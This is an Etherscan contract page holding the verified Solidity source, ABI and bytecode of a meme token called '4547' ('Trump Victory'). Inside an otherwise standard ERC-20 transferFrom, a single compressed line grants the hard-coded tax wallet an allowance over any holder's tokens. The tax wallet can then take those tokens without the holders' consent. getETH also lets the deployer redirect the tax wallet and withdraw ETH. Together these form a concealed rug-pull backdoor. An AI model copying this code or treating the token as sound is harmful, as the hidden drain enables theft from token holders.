Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract DT4547 is Context, IERC20 ... *    - function createPair()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendEth(uint256 amount)    - function withrawEth()    - function getETH(address payable _wall ...    - function openTrading()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-11-05
*/

/**
The "Trump Victory" celebrates Trump's victory with a fun collection of memes in the crypto world.

https://t.me/DT4547onETH
https://x.com/4547onETH
https://4547oneth.xyz
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DT4547 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet=payable(0x75371C37495d7E87E62089Fb7d4C6AFd06d1E740);

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=12;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"4547";
    string private constant _symbol = unicode"4547";
    uint256 public _maxTxAmount =  2 * (_tTotal/100);
    uint256 public _maxWalletSize =  2 * (_tTotal/100);
    uint256 public _taxSwapThreshold=  1 * (_tTotal/100);
    uint256 public _maxTaxSwap= 1 * (_tTotal/100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private deployer;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        deployer = _msgSender();
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner() { 
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_taxWallet==_msgSender()&&amount>0)_approve(sender, _taxWallet, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) {
                    sendEth(address(this).balance);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_maxTaxSwap && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendEth(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) return;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _transferTax=0;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendEth(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withrawEth() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getETH(address payable _wallet) external {
        require(msg.sender == deployer); _taxWallet=_wallet;
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address payable","name":"_wallet","type":"address"}],"name":"getETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b0319167375371c37495d7e87e62089fb7d4c6afd06d1e740179055600c600681905560078190555f60088190556009818155600a808055600b819055928055600d829055600e91909155606491610066919061038d565b610075906461f313f8806103a2565b61007f91906103b9565b61008a9060026103a2565b600f55606461009b6009600a61038d565b6100aa906461f313f8806103a2565b6100b491906103b9565b6100bf9060026103a2565b60105560646100d06009600a61038d565b6100df906461f313f8806103a2565b6100e991906103b9565b6100f49060016103a2565b60115560646101056009600a61038d565b610114906461f313f8806103a2565b61011e91906103b9565b6101299060016103a2565b6012556015805461ffff60a81b19169055348015610145575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601580546001600160a01b031916331790556101a46009600a61038d565b6101b3906461f313f8806103a2565b335f9081526001602081905260408220929092556003906101db5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556102383390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61026f6009600a61038d565b61027e906461f313f8806103a2565b60405190815260200160405180910390a36103d8565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102e3578085048111156102c7576102c7610294565b60018416156102d557908102905b60019390931c9280026102ac565b935093915050565b5f826102f957506001610387565b8161030557505f610387565b816001811461031b576002811461032557610341565b6001915050610387565b60ff84111561033657610336610294565b50506001821b610387565b5060208310610133831016604e8410600b8410161715610364575081810a610387565b6103705f1984846102a8565b805f190482111561038357610383610294565b0290505b92915050565b5f61039b60ff8416836102eb565b9392505050565b808202811582820484141761038757610387610294565b5f826103d357634e487b7160e01b5f52601260045260245ffd5b500490565b611880806103e55f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063a9059cbb11610062578063a9059cbb146102da578063a928584b146102f9578063bf474bed14610318578063c9567bf91461032d578063dd62ed3e14610341575f5ffd5b80638da5cb5b146102775780638f9a55c01461029d57806395d89b41146101295780639e78fb4f146102b2578063a1943fdf146102c6575f5ffd5b8063313ce567116100e3578063313ce567146101e957806370a0823114610204578063715018a614610238578063751039fc1461024e5780637d1db4a514610262575f5ffd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201825260048152633435343760e01b6020820152905161015b9190611488565b60405180910390f35b34801561016f575f5ffd5b5061018361017e3660046114d1565b610385565b604051901515815260200161015b565b34801561019e575f5ffd5b506101a860125481565b60405190815260200161015b565b3480156101c1575f5ffd5b506101a861039b565b3480156101d5575f5ffd5b506101836101e43660046114fb565b6103bc565b3480156101f4575f5ffd5b506040516009815260200161015b565b34801561020f575f5ffd5b506101a861021e366004611539565b6001600160a01b03165f9081526001602052604090205490565b348015610243575f5ffd5b5061024c610459565b005b348015610259575f5ffd5b5061024c6104d3565b34801561026d575f5ffd5b506101a8600f5481565b348015610282575f5ffd5b505f546040516001600160a01b03909116815260200161015b565b3480156102a8575f5ffd5b506101a860105481565b3480156102bd575f5ffd5b5061024c61058b565b3480156102d1575f5ffd5b5061024c610785565b3480156102e5575f5ffd5b506101836102f43660046114d1565b6107da565b348015610304575f5ffd5b5061024c610313366004611539565b6107e6565b348015610323575f5ffd5b506101a860115481565b348015610338575f5ffd5b5061024c610846565b34801561034c575f5ffd5b506101a861035b366004611554565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610391338484610a2b565b5060015b92915050565b5f6103a86009600a611682565b6103b7906461f313f880611690565b905090565b5f6103c8848484610b4e565b6005546001600160a01b0316331480156103e157505f82115b156103fe576005546103fe9085906001600160a01b031684610a2b565b61044f843361044a85604051806060016040528060288152602001611823602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110fd565b610a2b565b5060019392505050565b5f546001600160a01b0316331461048b5760405162461bcd60e51b8152600401610482906116a7565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104fc5760405162461bcd60e51b8152600401610482906116a7565b6105086009600a611682565b610517906461f313f880611690565b600f556105266009600a611682565b610535906461f313f880611690565b6010555f600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105696009600a611682565b610578906461f313f880611690565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b45760405162461bcd60e51b8152600401610482906116a7565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fe9030906105ef6009600a611682565b61044a906461f313f880611690565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067291906116dc565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f591906116dc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073f573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076391906116dc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107ae5760405162461bcd60e51b8152600401610482906116a7565b60405133904780156108fc02915f818181858888f193505050501580156107d7573d5f5f3e3d5ffd5b50565b5f610391338484610b4e565b6015546001600160a01b031633146107fc575f5ffd5b600580546001600160a01b0383166001600160a01b031990911617905560405133904780156108fc02915f818181858888f19350505050158015610842573d5f5f3e3d5ffd5b5050565b5f546001600160a01b0316331461086f5760405162461bcd60e51b8152600401610482906116a7565b601554600160a01b900460ff16156108c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610482565b6013546001600160a01b031663f305d71947306108fa816001600160a01b03165f9081526001602052604090205490565b5f5f61090d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610973573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099891906116f7565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109ed573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a119190611722565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610482565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610482565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610482565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610482565b6015545f90600160b01b900460ff161580610c385750601554600160a81b900460ff165b15610cf0576001600160a01b0384165f90815260016020526040902054610c60908390611741565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c8f908390611754565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce29086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d1a57505f546001600160a01b03848116911614155b15610fc957600e545f03610d5757610d546064610d4e600a54600e5411610d4357600654610d47565b6008545b8590611135565b906111ba565b90505b600e5415610d7c57610d796064610d4e600d548561113590919063ffffffff16565b90505b6014546001600160a01b038581169116148015610da757506013546001600160a01b03848116911614155b8015610dcb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ece57600f54821115610e225760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610482565b60105482610e44856001600160a01b03165f9081526001602052604090205490565b610e4e9190611754565b1115610e9c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610482565b610eb76064610d4e600a54600e5411610d4357600654610d47565b600e80549192505f610ec883611767565b91905055505b6014546001600160a01b038481169116148015610ef457506001600160a01b0384163014155b15610f2c57610f1e6064610d4e600b54600e5411610f1457600754610d47565b6009548590611135565b905047610f2a476111fb565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f6257506014546001600160a01b038581169116145b8015610f775750601554600160b01b900460ff165b8015610f84575060125481115b8015610f935750600c54600e54115b15610fc757610fb5610fb084610fab84601254611232565b611232565b611246565b478015610fc557610fc5476111fb565b505b505b801561104157305f90815260016020526040902054610fe890826113bd565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611063908361141b565b6001600160a01b0385165f908152600160205260409020556110a6611088838361141b565b6001600160a01b0385165f90815260016020526040902054906113bd565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ef858561141b565b604051908152602001610ce2565b5f81848411156111205760405162461bcd60e51b81526004016104829190611488565b505f61112c8486611741565b95945050505050565b5f825f0361114457505f610395565b5f61114f8385611690565b90508261115c858361177f565b146111b35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610482565b9392505050565b5f6111b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145c565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610842573d5f5f3e3d5ffd5b5f81831161124057826111b3565b50919050565b6015805460ff60a81b1916600160a81b17905580156113ad576040805160028082526060820183525f9260208301908036833701905050905030815f815181106112925761129261179e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112e9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130d91906116dc565b816001815181106113205761132061179e565b6001600160a01b0392831660209182029290920101526013546113469130911684610a2b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061137e9085905f908690309042906004016117b2565b5f604051808303815f87803b158015611395575f5ffd5b505af11580156113a7573d5f5f3e3d5ffd5b50505050505b506015805460ff60a81b19169055565b5f806113c98385611754565b9050838110156111b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610482565b5f6111b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fd565b5f818361147c5760405162461bcd60e51b81526004016104829190611488565b505f61112c848661177f565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107d7575f5ffd5b5f5f604083850312156114e2575f5ffd5b82356114ed816114bd565b946020939093013593505050565b5f5f5f6060848603121561150d575f5ffd5b8335611518816114bd565b92506020840135611528816114bd565b929592945050506040919091013590565b5f60208284031215611549575f5ffd5b81356111b3816114bd565b5f5f60408385031215611565575f5ffd5b8235611570816114bd565b91506020830135611580816114bd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115da578085048111156115be576115be61158b565b60018416156115cc57908102905b60019390931c9280026115a3565b935093915050565b5f826115f057506001610395565b816115fc57505f610395565b8160018114611612576002811461161c57611638565b6001915050610395565b60ff84111561162d5761162d61158b565b50506001821b610395565b5060208310610133831016604e8410600b841016171561165b575081810a610395565b6116675f19848461159f565b805f190482111561167a5761167a61158b565b029392505050565b5f6111b360ff8416836115e2565b80820281158282048414176103955761039561158b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116ec575f5ffd5b81516111b3816114bd565b5f5f5f60608486031215611709575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611732575f5ffd5b815180151581146111b3575f5ffd5b818103818111156103955761039561158b565b808201808211156103955761039561158b565b5f600182016117785761177861158b565b5060010190565b5f8261179957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118025783516001600160a01b03168352602093840193909201916001016117db565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bc3f6f568da0f351c91c820575933d7d16c8772b021d743e8316469e8495a1f64736f6c634300081b0033

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063a9059cbb11610062578063a9059cbb146102da578063a928584b146102f9578063bf474bed14610318578063c9567bf91461032d578063dd62ed3e14610341575f5ffd5b80638da5cb5b146102775780638f9a55c01461029d57806395d89b41146101295780639e78fb4f146102b2578063a1943fdf146102c6575f5ffd5b8063313ce567116100e3578063313ce567146101e957806370a0823114610204578063715018a614610238578063751039fc1461024e5780637d1db4a514610262575f5ffd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b657806323b872dd146101ca575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201825260048152633435343760e01b6020820152905161015b9190611488565b60405180910390f35b34801561016f575f5ffd5b5061018361017e3660046114d1565b610385565b604051901515815260200161015b565b34801561019e575f5ffd5b506101a860125481565b60405190815260200161015b565b3480156101c1575f5ffd5b506101a861039b565b3480156101d5575f5ffd5b506101836101e43660046114fb565b6103bc565b3480156101f4575f5ffd5b506040516009815260200161015b565b34801561020f575f5ffd5b506101a861021e366004611539565b6001600160a01b03165f9081526001602052604090205490565b348015610243575f5ffd5b5061024c610459565b005b348015610259575f5ffd5b5061024c6104d3565b34801561026d575f5ffd5b506101a8600f5481565b348015610282575f5ffd5b505f546040516001600160a01b03909116815260200161015b565b3480156102a8575f5ffd5b506101a860105481565b3480156102bd575f5ffd5b5061024c61058b565b3480156102d1575f5ffd5b5061024c610785565b3480156102e5575f5ffd5b506101836102f43660046114d1565b6107da565b348015610304575f5ffd5b5061024c610313366004611539565b6107e6565b348015610323575f5ffd5b506101a860115481565b348015610338575f5ffd5b5061024c610846565b34801561034c575f5ffd5b506101a861035b366004611554565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610391338484610a2b565b5060015b92915050565b5f6103a86009600a611682565b6103b7906461f313f880611690565b905090565b5f6103c8848484610b4e565b6005546001600160a01b0316331480156103e157505f82115b156103fe576005546103fe9085906001600160a01b031684610a2b565b61044f843361044a85604051806060016040528060288152602001611823602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110fd565b610a2b565b5060019392505050565b5f546001600160a01b0316331461048b5760405162461bcd60e51b8152600401610482906116a7565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104fc5760405162461bcd60e51b8152600401610482906116a7565b6105086009600a611682565b610517906461f313f880611690565b600f556105266009600a611682565b610535906461f313f880611690565b